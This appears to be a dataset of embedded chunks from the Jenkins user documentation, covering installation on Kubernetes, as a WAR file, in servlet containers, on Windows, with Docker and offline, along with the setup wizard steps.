`runAsGroup` specify the account IDs all process runs as (as
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/installing-jenkins/pages/kubernetes.adoc
main
jenkins
[ -0.030712777748703957, 0.024436062201857567, 0.019378649070858955, 0.05907812342047691, 0.007916588336229324, -0.021109309047460556, -0.011792445555329323, -0.04905444011092186, 0.07917723059654236, 0.04039951413869858, -0.06935054808855057, -0.04383378475904465, 0.045364029705524445, -0.0...
0.087856
such as pulling in a new Jenkins version. . `securityContext` for Jenkins pod to be able to write to the local persistent volume. + \* Note that `fsGroup` specifies the group ID used for mounted filesystem access, while `runAsUser` and `runAsGroup` specify the account IDs all process runs as (as seen by both the host OS and the container guest operating environment). There is no `fsUser` equivalent. \* One caveat is that the Jenkins container has ID 1000 defined in its `/etc/passwd` and `/etc/group` files, and e.g. `git` program requires that the identifier of the user it runs as is resolvable. While it is trivial to define desired accounts in a derived container (made `FROM jenkins:lts` for example) and run as accounts according to your site preferences, it is clumsy out of the box. . Liveness and readiness probe to monitor the health of the Jenkins pod. . Local persistent volume based on local storage class that holds the Jenkins data path `/var/jenkins\_home`. You may have to prepare it with: + [source,bash] ---- runAsUser=1000 fsGroup=1000 # Or custom ID, per above mkdir -p /var/jenkins\_home chown -R $runAsUser:$fsGroup /var/jenkins\_home chmod -R g+rwX /var/jenkins\_home ---- NOTE: The deployment file uses local storage class persistent volume for Jenkins data. For production use cases, you should add a cloud-specific storage class persistent volume for your Jenkins data. If you don’t want the local storage persistent volume, you can replace the volume definition in the deployment with the host directory as shown below. [source,yaml] ---- volumes: - name: jenkins-data emptyDir: \{} ---- Create the deployment using kubectl. [source,bash] ---- kubectl apply -f jenkins-03-deployment.yaml ---- Check the deployment status. [source,bash] ---- kubectl get deployments -n devops-tools ---- Now, you can get the deployment details using the following command. [source,bash] ---- kubectl describe deployments --namespace=devops-tools ---- [#create-a-service] === Accessing Jenkins Using Kubernetes Service We have now created a deployment. However, it is not accessible to the outside world. For accessing the Jenkins deployment from the outside world, we need to create a service and map it to the deployment. Create 'jenkins-04-service.yaml' and copy the following service manifest: [source,yaml] ---- apiVersion: v1 kind: Service metadata: name: jenkins-service namespace: devops-tools annotations: prometheus.io/scrape: 'true' prometheus.io/path: / prometheus.io/port: '8080' spec: selector: app: jenkins-server type: NodePort ports: - port: 8080 targetPort: 8080 nodePort: 32000 ---- NOTE: Here, we are using the type as 'NodePort' which will expose Jenkins on all kubernetes node IPs on port 32000. If you have an ingress setup, you can create an ingress rule to access Jenkins. Also, you can expose the Jenkins service as a Loadbalancer if you are running the cluster on AWS, Google, or Azure cloud. Create the Jenkins service using kubectl. [source,bash] ---- kubectl apply -f jenkins-04-service.yaml ---- Now, when browsing to any one of the Node IPs on port 32000, you will be able to access the Jenkins dashboard. [source] ---- http://:32000 ---- Jenkins will ask for the initial Admin password when you access the dashboard for the first time. You can get that from the pod logs either from the Kubernetes dashboard or CLI. You can get the pod details using the following CLI command. [source,bash] ---- kubectl get pods --namespace=devops-tools ---- With the pod name, you can get the logs as shown below. Replace the pod name with your pod name. [source,bash] ---- kubectl logs jenkins-deployment-2539456353-j00w5 --namespace=devops-tools ---- The password can be found at the end of the log. [NOTE] ====== You can watch the Jenkins server logs (posted to `stdout` or `stderr` of the JVM and collected by Kubernetes) with the following loop to handle Jenkins restarts as well: ----
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/installing-jenkins/pages/kubernetes.adoc
main
jenkins
[ -0.00875474140048027, 0.0033710848074406385, -0.0823947861790657, 0.007308263797312975, 0.032867684960365295, -0.04219556972384453, -0.015076187439262867, 0.031736861914396286, 0.029953526332974434, 0.01833491399884224, -0.02047017216682434, -0.04477764293551445, 0.03235863894224167, -0.02...
0.110075
[source,bash] ---- kubectl logs jenkins-deployment-2539456353-j00w5 --namespace=devops-tools ---- The password can be found at the end of the log. [NOTE] ====== You can watch the Jenkins server logs (posted to `stdout` or `stderr` of the JVM and collected by Kubernetes) with the following loop to handle Jenkins restarts as well: ---- while sleep 0.1 ; do kubectl logs -f -l app=jenkins-server -n devops-tools ; done & ---- (The label `jenkins-server` is defined in `jenkins-03-deployment.yaml`) Alternatively, link:https://github.com/stern/stern[stern] tool can be used to watch multiple pods' logs. ====== Alternatively, you can run the exec command to get the password directly from the location as shown below. \* Using the first (normally only) instance of the application pod: + [source,bash] ---- kubectl exec -it "deployment.apps/jenkins" cat /var/jenkins\_home/secrets/initialAdminPassword -n devops-tools ---- \* ...or, using a specific container instance: + [source,bash] ---- kubectl exec -it jenkins-559d8cd85c-cfcgk cat /var/jenkins\_home/secrets/initialAdminPassword -n devops-tools ---- Once you enter the password, proceed to install the suggested plugins and create an admin user. All of these steps are self-explanatory from the Jenkins dashboard. ''' Below we will explore further deployment strategies. include::partial$\_kubernetes.adoc[] include::partial$\_setup-wizard.adoc[] == Conclusion When you host Jenkins on Kubernetes for production workloads, you need to consider setting up a highly available persistent volume, to avoid data loss during pod or node deletion. A pod or node deletion could happen anytime in Kubernetes environments. It could be a patching activity or a downscaling activity. Hopefully, this step-by-step guide helps you learn and understand the components involved in setting up a Jenkins server on a Kubernetes cluster.
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/installing-jenkins/pages/kubernetes.adoc
main
jenkins
[ 0.04140723496675491, -0.026308124884963036, -0.028093138709664345, -0.03497113659977913, 0.006430557928979397, -0.010148133151233196, -0.009480885230004787, -0.04492957517504692, 0.12962116301059723, 0.0597962960600853, -0.08852780610322952, -0.05815477296710014, 0.0168160367757082, -0.017...
0.056048
= WAR file The Jenkins Web application ARchive (WAR) file bundles link:https://github.com/jenkinsci/winstone[Winstone], a link:https://www.eclipse.org/jetty/[Jetty] servlet container wrapper, and can be started on any operating system or platform with a version of Java supported by Jenkins. See the xref:platform-information:support-policy-java.adoc[Java Requirements] page for details. include::user-docs:installing-jenkins:partial$\_installation\_requirements.adoc[] == Run the WAR file The Jenkins Web application ARchive (WAR) file can be started from the command line like this: . Download the link:https://www.jenkins.io/download[latest Jenkins WAR file] to an appropriate directory on your machine . Open up a terminal/command prompt window to the download directory . Run the command `java -jar jenkins.war` . Browse to `\http://localhost:8080` and wait until the \*Unlock Jenkins\* page appears . Continue on with the xref:#setup-wizard[Post-installation setup wizard] below \*Notes:\* \* This process does not automatically install any specific plugins. They need to installed separately via the xref:managing:index.adoc[\*\*Manage Jenkins\*\*] > xref:managing:plugins.adoc[\*\*Plugins\*\*] page in Jenkins. \* You can change the port by specifying the `--httpPort` option when you run the `java -jar jenkins.war` command. For example, to make Jenkins accessible through port 9090, then run Jenkins using the command: + `java -jar jenkins.war --httpPort=9090` \* You can change the directory where Jenkins stores its configuration with the `JENKINS\_HOME` environment variable. For example, to place the Jenkins configuration files in a subdirectory named `my-jenkins-config`, define `JENKINS\_HOME=my-jenkins-config` before running the `java -jar jenkins.war` command. Use the Windows commands: + .Windows [source] ---- C:\Temp > set JENKINS\_HOME=my-jenkins-config C:\Temp > java -jar jenkins.war ---- + or the Unix command: + .Unix [source] ---- JENKINS\_HOME=my-jenkins-config java -jar jenkins.war ---- For more details of command line arguments that can adjust Jenkins startup, use the command: + `java -jar jenkins.war --help` include::user-docs:installing-jenkins:partial$\_setup-wizard.adoc[]
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/installing-jenkins/pages/war-file.adoc
main
jenkins
[ -0.047233887016773224, 0.026255764067173004, -0.0105727044865489, -0.08089060336351395, 0.011332642287015915, -0.011148552410304546, -0.04995148628950119, -0.023302841931581497, -0.022570500150322914, -0.04708041623234749, -0.05001961812376976, -0.02339126542210579, -0.07090672105550766, 0...
0.086423
= Other Servlet Containers Jenkins is typically run as a standalone application in its own process. The Jenkins WAR file bundles link:https://github.com/jenkinsci/winstone[Winstone], a link:https://www.eclipse.org/jetty/[Jetty] servlet container wrapper, and can be started on any operating system or platform with a version of Java supported by Jenkins. This is the preferred way to deploy Jenkins and is fully supported. Theoretically, Jenkins can also be run as a servlet in a traditional servlet container like link:https://tomcat.apache.org/[Apache Tomcat] or link:https://www.wildfly.org/[WildFly], but in practice this is largely untested and there are many caveats. In particular, support for WebSocket agents is only implemented for the Jetty servlet container. See the xref:platform-information:support-policy-servlet-containers.adoc[Servlet Container Support Policy] page for details. WARNING: Support for traditional servlet containers may be discontinued in the future. == Requirements \* \*\*Jenkins 2.492.3+ requires Servlet API 5.0 (Jakarta EE 9)\*\* \* Compatible containers: \* \*\*Tomcat 10.1.x\*\* (Tested with 10.1.40 - latest version) \* WildFly version needs verification (minimum 30+ recommended) \* Requires JDK 17+ for full compatibility == Tomcat 10 === Deployment [source,bash] ---- # Download Tomcat 10.1.x wget https://archive.apache.org/dist/tomcat/tomcat-10/v10.1.40/bin/apache-tomcat-10.1.40.tar.gz # Extract and deploy tar xzf apache-tomcat-10.1.40.tar.gz export CATALINA\_HOME=$(pwd)/apache-tomcat-10.1.40 cp jenkins.war $CATALINA\_HOME/webapps/ ---- === Configuration .Set Jenkins home [source,bash] ---- mkdir /var/lib/jenkins echo "export CATALINA\_OPTS=-DJENKINS\_HOME=/var/lib/jenkins" > $CATALINA\_HOME/bin/setenv.sh chmod +x $CATALINA\_HOME/bin/setenv.sh ---- ---- NOTE: Running multiple Jenkins controllers within a single Java process is unsupported. Scheme selection in redirect URLs is delegated to the servlet container, and Jetty handles the `X-Forwarded-For`, `X-Forwarded-By`, and `X-Forwarded-Proto` headers by default. With Tomcat, one needs to add a link:https://tomcat.apache.org/tomcat-10.0-doc/config/valve.html#Remote\_IP\_Valve[Remote IP Valve] to expose these headers to Jenkins via the Servlet API. Add the following to `+${CATALINA\_HOME}/conf/server.xml+` within the `` section: [source,xml] ---- ---- == WildFly === Requirements \* \*WildFly 30+\* required for Jenkins 2.492.3+ with JDK 17 \* Uses Servlet API 5.0 (Jakarta EE 9) with `jakarta.servlet` namespace \* \*Incompatible with WildFly 26 and earlier\* (Servlet API 4.0) === Deployment [source,bash] ---- cp jenkins.war $JBOSS\_HOME/standalone/deployments/ ---- === Configuration [source,bash] ---- # Add this to $JBOSS\_HOME/bin/standalone.conf JAVA\_OPTS="$JAVA\_OPTS -DJENKINS\_HOME=/var/lib/jenkins" ---- NOTE: Running multiple Jenkins controllers within a single Java process is unsupported.
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/installing-jenkins/pages/servlet-containers.adoc
main
jenkins
[ -0.025411879643797874, 0.006029196549206972, 0.001323705306276679, -0.07402581721544266, -0.006021070294082165, -0.02572946809232235, -0.05553676560521126, -0.030093664303421974, 0.024905173107981682, -0.08568555116653442, -0.04514295607805252, 0.04119723290205002, -0.039355531334877014, -...
0.104297
= Windows The simplest way to install Jenkins on Windows is to use the Jenkins Windows installer. That program will install Jenkins as a service using a 64 bit JVM chosen by the user. Keep in mind that to run Jenkins as a service, the account that runs Jenkins must have permission to login as a service. include::user-docs:installing-jenkins:partial$\_installation\_requirements.adoc[] [#windows-msi-installers] == Installation steps using Windows MSI installer .How to install Jenkins on Windows video::XuMrEDA8cAI[youtube, width=682, height=384] Refer to the Windows section of the link:https://www.jenkins.io/download/#downloading-jenkins[Downloading Jenkins] page to download either an LTS release or a weekly release of the Windows installer. After the download completes, open the Windows installer and follow the steps below to install Jenkins. Step 1: Setup wizard:: On opening the Windows Installer, an \*Installation Setup Wizard\* appears, Click \*Next\* on the Setup Wizard to start your installation. image:windows-installation-setup-wizard.png[alt="Windows Installation Setup Wizard",width=80%] Step 2: Select destination folder:: Select the destination folder to store your Jenkins Installation and click \*Next\* to continue. image:windows-installation-destination.png[alt="Jenkins Installation Destination",width=80%] Step 3: Service logon credentials:: When Installing Jenkins, it is recommended to install and run Jenkins as an independent windows service using a \*local or domain user\* as it is much safer than running Jenkins using \*LocalSystem(Windows equivalent of root)\* which will grant Jenkins full access to your machine and services. To run Jenkins service using a \*local or domain user\*, specify the domain user name and password with which you want to run Jenkins, click on \*Test Credentials\* to test your domain credentials and click on \*Next\*. image:user-docs:installing-jenkins:windows-jenkins-logon-credentials.png[alt="Jenkins Service Logon Credentials",width=80%] NOTE: The user account running Jenkins requires the `LogonAsService` permission to run Jenkins as a service. NOTE: If you get \*Invalid Logon\* Error pop-up while trying to test your credentials, follow the steps explained xref:#invalid-service-logon-credentials[here] to resolve it. Step 4: Port selection:: Specify the port on which Jenkins will be running, \*Test Port\* button to validate whether the specified port if free on your machine or not. Consequently, if the port is free, it will show a green tick mark as shown below, then click on \*Next\*. image:windows-select-port.png[alt="Jenkins Select Port",width=80%] Step 5: Select Java home directory:: The installation process checks for Java on your machine and prefills the dialog with the Java home directory. If the needed Java version is not installed on your machine, you will be prompted to install it. Once your Java home directory has been selected, click on \*Next\* to continue. image:windows-select-jdk-installation.png[alt="Select Java Home Directory",width=80%] Step 6: Custom setup:: Select other services that need to be installed with Jenkins and click on \*Next\*. image:windows-select-features-to-install.png[alt="Jenkins Custom Setup",width=80%] Step 7: Install Jenkins:: Click on the \*Install\* button to start the installation of Jenkins. image:windows-install.png[alt="Windows Install Jenkins",width=80%] Additionally, clicking on the \*Install\* button will show the progress bar of installation, as shown below: image:windows-installation-progress.png[alt="Windows Installation Progress",width=80%] Step 8: Finish Jenkins installation:: Once the installation completes, click on \*Finish\* to complete the installation. image:windows-finish-install.png[alt="Finish Install",width=80%] Jenkins will be installed as a \*Windows Service\*. You can validate this by browsing the \*services\* section, as shown below: image:windows-jenkins-service.png[alt="Windows Jenkins Service",width=80%] NOTE: See the link:https://www.jenkins.io/blog/2020/08/12/windows-installers-upgrade/#next-steps[upgrade steps] when you upgrade to a new release. == Silent Install with the MSI installers MSI installers can be installed via a silent method, which can show basic UI (/qb) or no UI at all (/qn). The silent method does not prompt for user input so there are properties that you can pass to the installer to set the specific values. A very basic command line is shown below for a silent install. [source,bat] ---- msiexec.exe /i "path\to\jenkins.msi" /qn /norestart ---- .This will use all of the default values for things
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/installing-jenkins/pages/windows.adoc
main
jenkins
[ 0.011718940921127796, -0.045077744871377945, 0.030626622959971428, -0.029129402711987495, -0.018828975036740303, 0.021781131625175476, -0.0715089812874794, -0.05190826207399368, 0.0033449120819568634, -0.01622994989156723, -0.062800832092762, -0.0473565012216568, -0.0011181420413777232, 0....
0.010949
prompt for user input so there are properties that you can pass to the installer to set the specific values. A very basic command line is shown below for a silent install. [source,bat] ---- msiexec.exe /i "path\to\jenkins.msi" /qn /norestart ---- .This will use all of the default values for things that would normally be a prompt such as: \* Installation directory \* Service account username/password \* Java installation directory \* The port for Jenkins to listen on Each of these things can be overridden by passing a `NAME=VALUE` property pair for what you want to override: [cols="1,1"] |=== |Property Name|Description |INSTALLDIR |Path to the directory to install Jenkins. (Default: C:\Program Files\Jenkins) |PORT |The port Jenkins will listen on. (Default: 8080) |JAVA\_HOME |The directory where java.exe can be found. (Default: The latest recommended Java runtime found in the registry) |SERVICE\_USERNAME |The username that the service should run as. The account must have LogonAsService permissions. (Default: In silent mode, the LOCALSYSTEM account) |SERVICE\_PASSWORD |The password for the SERVICE\_USERNAME account. This should only be provided if SERVICE\_USERNAME is provided. (Default: In silent mode, none for LOCALSYSTEM) |=== A more complex example, including the creation of a log file for the installation process is shown below: [source,bat] ---- msiexec.exe /i "path\to\jenkins.msi" /qn /norestart INSTALLDIR="D:\Jenkins" JAVA\_HOME="C:\Program Files\SomeJava" PORT=80 /L\*v "path\to\logfile.txt" ---- This would install Jenkins into D:\Jenkins, use the Java runtime from C:\Program Files\SomeJava and Jenkins would be listening on port 80. == Post-installation setup wizard After downloading, installing and running Jenkins, the post-installation setup wizard begins. This setup wizard takes you through a few quick "one-off" steps to unlock Jenkins, customize it with plugins and create the first administrator user through which you can continue accessing Jenkins. [#unlocking-jenkins] === Unlocking Jenkins When you first access a new Jenkins controller, you are asked to unlock it using an automatically-generated password. Step 1:: Browse to `\http://localhost:8080` (or whichever port you configured for Jenkins when installing it) and wait until the \*Unlock Jenkins\* page appears. [.boxshadow] image:setup-jenkins-02-unlock-jenkins-page.png[alt="Unlock Jenkins page",width=80%] Step 2:: The initial Administrator password should be found under the Jenkins installation path (set at Step 2 in Jenkins Installation). For default installation location to C:\Program Files\Jenkins, a file called \*initialAdminPassword\* can be found under C:\Program Files\Jenkins\secrets. However, If a custom path for Jenkins installation was selected, then you should check that location for \*initialAdminPassword\* file. image:windows-initial-password-location.png[alt="Jenkins Initial Password Location",width=80%] Step 3:: Open the highlighted file and copy the content of the \*initialAdminPassword\* file. image:windows-initial-password-file.png[alt="Jenkins Initial Password File",width=80%] Step 4:: On the \*Unlock Jenkins\* page, paste this password into the \*Administrator password\* field and click \*Continue\*. + \*Notes:\* \* You can also access Jenkins logs in the \*jenkins.err.log\* file in your Jenkins directory specified during the installation. \* The Jenkins log file is another location (in the Jenkins home directory) where the initial password can also be obtained. + image:windows-jenkins-log.png[alt="Windows Jenkins Log File",width=80%] This password must be entered in the setup wizard on new Jenkins installations before you can access Jenkins's main UI. This password also serves as the default administrator account's password (with username "admin") if you happen to skip the subsequent user-creation step in the setup wizard. [#customizing-jenkins-with-plugins] === Customizing Jenkins with plugins After xref:#unlocking-jenkins[unlocking Jenkins], the \*Customize Jenkins\* page appears. Here you can install any number of useful plugins as part of your initial setup. Click one of the two options shown: \* \*Install suggested plugins\* - to install the recommended set of plugins, which are based on most common use cases. \* \*Select plugins to install\* - to choose which set of plugins to initially install. When you first access the plugin selection
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/installing-jenkins/pages/windows.adoc
main
jenkins
[ 0.0064576780423521996, 0.03128747642040253, -0.022099755704402924, -0.039924465119838715, -0.09577673673629761, 0.002887028967961669, 0.04790965095162392, 0.04313527047634125, -0.029166821390390396, -0.018963545560836792, -0.07216733694076538, -0.08709345757961273, 0.07151444256305695, 0.0...
0.030459
setup. Click one of the two options shown: \* \*Install suggested plugins\* - to install the recommended set of plugins, which are based on most common use cases. \* \*Select plugins to install\* - to choose which set of plugins to initially install. When you first access the plugin selection page, the suggested plugins are selected by default. NOTE: If you are not sure what plugins you need, choose \*\*Install suggested plugins\*\*. You can install (or remove) additional Jenkins plugins at a later point in time via the xref:user-docs:managing:index.adoc[\*\*Manage Jenkins\*\*] > xref:user-docs:managing:plugins.adoc[\*\*Plugins\*\*] page in Jenkins. The setup wizard shows the progression of Jenkins being configured and your chosen set of Jenkins plugins being installed. This process may take a few minutes. === Creating the first administrator user Finally, after xref:#customizing-jenkins-with-plugins[customizing Jenkins with plugins], Jenkins asks you to create your first administrator user. . When the \*Create First Admin User\* page appears, specify the details for your administrator user in the respective fields and click \*Save and Finish\*. . When the \*Jenkins is ready\* page appears, click \*Start using Jenkins\*. + \*Notes:\* \* This page may indicate \*Jenkins is almost ready!\* instead and if so, click \*Restart\*. \* If the page does not automatically refresh after a minute, use your web browser to refresh the page manually. . If required, log in to Jenkins with the credentials of the user you just created and you are ready to start using Jenkins! == Troubleshooting Windows installation [#invalid-service-logon-credentials] === Invalid service logon credentials image:windows-invalid-service-logon-credentials.png[alt="Invalid Service Logon Credentials",width=80%] When installing a service to run under a domain user account, the account must have the right to logon as a service. This logon permission applies strictly to the local computer and must be granted in the Local Security Policy. Perform the following steps below to edit the Local Security Policy of the computer you want to define the ‘logon as a service’ permission: . Logon to the computer with administrative privileges. . Open the \*Administrative Tools\* and open the \*Local Security Policy\* or typing `secpol.msc` in the Run dialog (Win + R) and pressing Enter. . If the \*Local Security Policy\* is missing in your system, refer to the answer in the https://answers.microsoft.com/en-us/windows/forum/all/where-to-download-gpeditmsc-for-windows-10-home/c39bd656-8d4a-4374-be39-394c09deec4e[Where to download GPEdit.msc for Windows 10 Home?] question on Microsoft Community to troubleshoot . In the \*Local Security Policy\* window, Expand \*Local Policy\* and click on \*User Rights Assignment\* . In the right pane, right-click \*Log on as a service\* and select properties. . Click on the \*Add User or Group…\* button to add the new user. . In the \*Select Users or Groups\* dialogue, find the user you wish to enter and click \*OK\* . Click \*OK\* in the \*Log on as a service Properties\* to save changes. After completing the steps above, try logging in again with the added user.
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/installing-jenkins/pages/windows.adoc
main
jenkins
[ 0.0020658855792135, -0.10748283565044403, 0.028232838958501816, 0.031479351222515106, 0.008688237518072128, -0.024212544783949852, -0.003245073836296797, -0.03603431209921837, 0.003468423383310437, 0.018634002655744553, 0.000704730162397027, -0.04399557784199715, -0.010194862261414528, 0.0...
0.008025
= Docker //// IMPORTANT: If you update content in this section, please ensure you check these changes against the procedures documented in the 'tutorials/\_prerequisites.adoc' file, which is used in the Guided Tour of the Jenkins Documentation. //// link:https://docs.docker.com/get-started/overview/[Docker] is a platform for running applications in an isolated environment called a "container" (or Docker container). Applications like Jenkins can be downloaded as read-only "images" (or Docker images), each of which is run in Docker as a container. A Docker container is a "running instance" of a Docker image. A Docker image is stored permanently, based on when image updates are published, whereas containers are stored temporarily. Learn more about these concepts in link:https://docs.docker.com/get-started/[Getting Started, Part 1: Orientation and setup] in the Docker documentation. Due to Docker's fundamental platform and container design, a Docker image for a given application, such as Jenkins, can be run on any supported operating system or cloud service also running Docker. Supported operating systems include macOS, Linux and Windows, and supported cloud services include AWS and Azure. == Installing Docker To install Docker on your operating system, follow the instructions in the xref:user-docs:pipeline:tour/getting-started.adoc#prerequisites[Guided Tour prerequisites]. Alternatively, visit link:https://hub.docker.com/search?type=edition&offering=community[Docker Hub], and select the \*Docker Community Edition\* suitable for your operating system or cloud service. Follow the installation instructions on their website. [CAUTION] ==== If you are installing Docker on a Linux-based operating system, ensure you configure Docker so it can be managed as a non-root user. Read more about this in Docker's link:https://docs.docker.com/engine/installation/linux/linux-postinstall/[Post-installation steps for Linux] page of their documentation. This page also contains information about how to configure Docker to start on boot. ==== include::user-docs:installing-jenkins:partial$\_installation\_requirements.adoc[] == Downloading and running Jenkins in Docker There are several Docker images of Jenkins available. Use the recommended official link:https://hub.docker.com/r/jenkins/jenkins/[`jenkins/jenkins` image] from the link:https://hub.docker.com/[Docker Hub repository]. This image contains the current link:https://www.jenkins.io/download[Long-Term Support (LTS) release of Jenkins], which is production-ready. However, this image doesn't contain Docker CLI, and is not bundled with the frequently used Blue Ocean plugins and its features. To use the full power of Jenkins and Docker, you may want to go through the installation process described below. [NOTE] ==== A new `jenkins/jenkins` image is published each time a new release of Jenkins Docker is published. You can see a list of previously published versions of the `jenkins/jenkins` image on the link:https://hub.docker.com/r/jenkins/jenkins/tags/[tags] page. ==== include::user-docs:installing-jenkins:partial$\_docker.adoc[] include::user-docs:installing-jenkins:partial$\_setup-wizard.adoc[]
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/installing-jenkins/pages/docker.adoc
main
jenkins
[ -0.008207768201828003, 0.025761310011148453, 0.00042701634811237454, 0.0232673492282629, 0.057231903076171875, -0.10107367485761642, -0.01566375233232975, -0.02363571710884571, 0.07108984887599945, 0.019922595471143723, -0.020432094112038612, 0.025487273931503296, 0.0025182035751640797, -0...
0.074278
:page-aliases: user-docs:administration:jenkins-on-java-11.adoc, user-docs:administration:jenkins-on-java-17.adoc = Installing Jenkins [pass] ++++ (function () { var anchorMap = { "ji-toolbar" : "/doc/book/installing/", /\* Algolia search redirect to stay on same page \*/ "accessing-the-jenkins-blue-ocean-docker-container": "/doc/book/installing/docker#accessing-the-jenkins-blue-ocean-docker-container", "accessing-the-jenkins-console-log-through-docker-logs": "/doc/book/installing/docker#accessing-the-jenkins-console-log-through-docker-logs", "accessing-the-jenkins-home-directory": "/doc/book/installing/docker/#accessing-the-jenkins-home-directory", "docker": "/doc/book/installing/docker/", "downloading-and-running-jenkins-in-docker": "/doc/book/installing/docker/", "installing-docker": "/doc/book/installing/docker/", "prerequisites-2": "/doc/book/installing/docker/#prerequisites", "configuring-http": "/doc/book/installing/initial-settings/#configuring-http", "miscellaneous-parameters": "/doc/book/installing/initial-settings/#miscellaneous-parameters", "networking-parameters": "/doc/book/installing/initial-settings/#networking-parameters", "using-http2": "/doc/book/installing/initial-settings/#using-http2", "creating-the-first-administrator-user": "/doc/book/installing/linux/#creating-the-first-administrator-user", "customizing-jenkins-with-plugins": "/doc/book/installing/linux/#customizing-jenkins-with-plugins", "debianubuntu": "/doc/book/installing/linux/#debianubuntu", "fedora": "/doc/book/installing/linux/#fedora", "linux": "/doc/book/installing/linux/", "prerequisites": "/doc/book/installing/linux/#prerequisites", "red-hat-centos": "/doc/book/installing/linux/#red-hat-centos", "setup-wizard": "/doc/book/installing/linux/#setup-wizard", "unlocking-jenkins": "/doc/book/installing/linux/#unlocking-jenkins", "freebsd": "/doc/book/installing/other/#freebsd", "openindiana-hipster": "/doc/book/installing/other/#openindiana-hipster", "other-operating-systems": "/doc/book/installing/other/", "solaris-omnios-smartos-and-other-siblings": "/doc/book/installing/other/#solaris-omnios-smartos-and-other-siblings", "https-certificates-with-windows": "/doc/book/installing/initial-settings/#https-certificates-with-windows", "https-with-an-existing-certificate": "/doc/book/installing/initial-settings/#https-with-an-existing-certificate", "jenkins-parameters": "/doc/book/installing/initial-settings/#jenkins-parameters", "jenkins-properties": "/doc/book/installing/initial-settings/#jenkins-properties", "kubernetes": "/doc/book/installing/kubernetes/", "macos": "/doc/book/installing/macos/", "offline-jenkins-installation": "/doc/book/installing/offline/", "war-file": "/doc/book/installing/war-file/", "war-files": "/doc/book/installing/war-file/", "windows": "/doc/book/installing/windows/", } /\* \* Best practice for extracting hashes: \* https://stackoverflow.com/a/10076097/151365 \*/ var hash = window.location.hash.substring(1); if (hash) { /\* \* Best practice for javascript redirects: \* https://stackoverflow.com/a/506004/151365 \*/ window.location.replace(anchorMap[hash]); } })(); ++++ The procedures in this chapter are for new installations of Jenkins. Jenkins is typically run as a standalone application in its own process. The Jenkins WAR file bundles link:https://github.com/jenkinsci/winstone[Winstone], a link:https://www.eclipse.org/jetty/[Jetty] servlet container wrapper, and can be started on any operating system or platform with a version of Java supported by Jenkins. Theoretically, Jenkins can also be run as a servlet in a traditional servlet container like link:https://tomcat.apache.org/[Apache Tomcat] or link:https://www.wildfly.org/[WildFly], but in practice this is largely untested and there are many caveats. In particular, support for WebSocket agents is only implemented for the Jetty servlet container. See the xref:user-docs:installing-jenkins:servlet-containers.adoc[Servlet Container Support Policy] page for details.
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/installing-jenkins/pages/index.adoc
main
jenkins
[ -0.03506523743271828, 0.057014450430870056, 0.025541095063090324, 0.031126148998737335, 0.04177568852901459, -0.07042191177606583, -0.0016370636876672506, -0.03204327076673508, -0.00583319878205657, -0.03754635527729988, -0.0016787531785666943, -0.006725076120346785, 0.011277438141405582, ...
-0.006229
= Initial Settings Most Jenkins configuration changes can be made through the Jenkins user interface or through the {plugin}configuration-as-code[configuration as code plugin]. There are some configuration values that can only be modified while Jenkins is starting. This section describes those settings and how you can use them. == Jenkins Parameters Jenkins initialization can also be controlled by run time parameters passed as arguments. Command line arguments can adjust networking, security, monitoring, and other settings. include::partial$\_jenkins-command-parameters.adoc[]
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/installing-jenkins/pages/initial-settings.adoc
main
jenkins
[ 0.010184040293097496, -0.008124364539980888, -0.052208311855793, 0.07925433665513992, -0.05229683592915535, -0.04638670012354851, -0.026237592101097107, -0.05400054529309273, -0.03159884735941887, -0.019358305260539055, -0.0025749653577804565, -0.000041938372305594385, -0.024136338382959366,...
0.054634
= Offline Installations This section describes how to install Jenkins on a machine that does not have an internet connection. To install Jenkins itself, download the appropriate war file and transfer it to your machine. include::partial$\_installation\_requirements.adoc[] == Offline plugin installation Offline plugin installations require additional effort due to dependency requirements. The link:https://github.com/jenkinsci/plugin-installation-manager-tool[Plugin Installation Manager Tool] is the recommended tool for offline plugin installation. It downloads user specified plugins and all dependencies of the user specified plugins. The link:https://github.com/jenkinsci/plugin-installation-manager-tool[Plugin Installation Manager Tool] also reports available plugin updates and plugin security warnings. It is included in the official link:https://github.com/jenkinsci/docker/blob/master/README.md#plugin-installation-manager-cli-preview[Jenkins Docker images]. It is also used to install plugins as part of the xref:docker.adoc[Docker install instructions]. Refer to the link:https://app.gitter.im/#/room/#jenkinsci\_plugin-installation-manager-cli-tool:gitter.im[Gitter chat channel] for questions and answers If you want to transfer the individual plugins, you'll need to retrieve all dependencies as well. There are several dependency retrieval scripts and tools on Github. For example: \* link:https://github.com/jenkinsci/plugin-installation-manager-tool/blob/master/README.md[Plugin installation manager tool] - Java command line utility to install Jenkins plugins and their dependencies. \* link:https://github.com/samrocketman/jenkins-bootstrap-shared[samrocketman/jenkins-bootstrap-shared] - Java is required; packages Jenkins and plugins into an immutable package installer. Supported formats include: RPM, DEB, Docker. Can proxy Jenkins and plugins through Nexus or Artifactory since Gradle is used to assemble plugins. include::partial$\_setup-wizard.adoc[]
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/installing-jenkins/pages/offline.adoc
main
jenkins
[ -0.0509856715798378, -0.01447845995426178, 0.020945530384778976, 0.0019265704322606325, 0.01706502214074135, -0.00596455205231905, -0.02206403575837612, -0.0293525792658329, -0.029347190633416176, -0.002590152667835355, -0.011350843124091625, -0.0306890606880188, -0.04067815840244293, -0.0...
0.061234
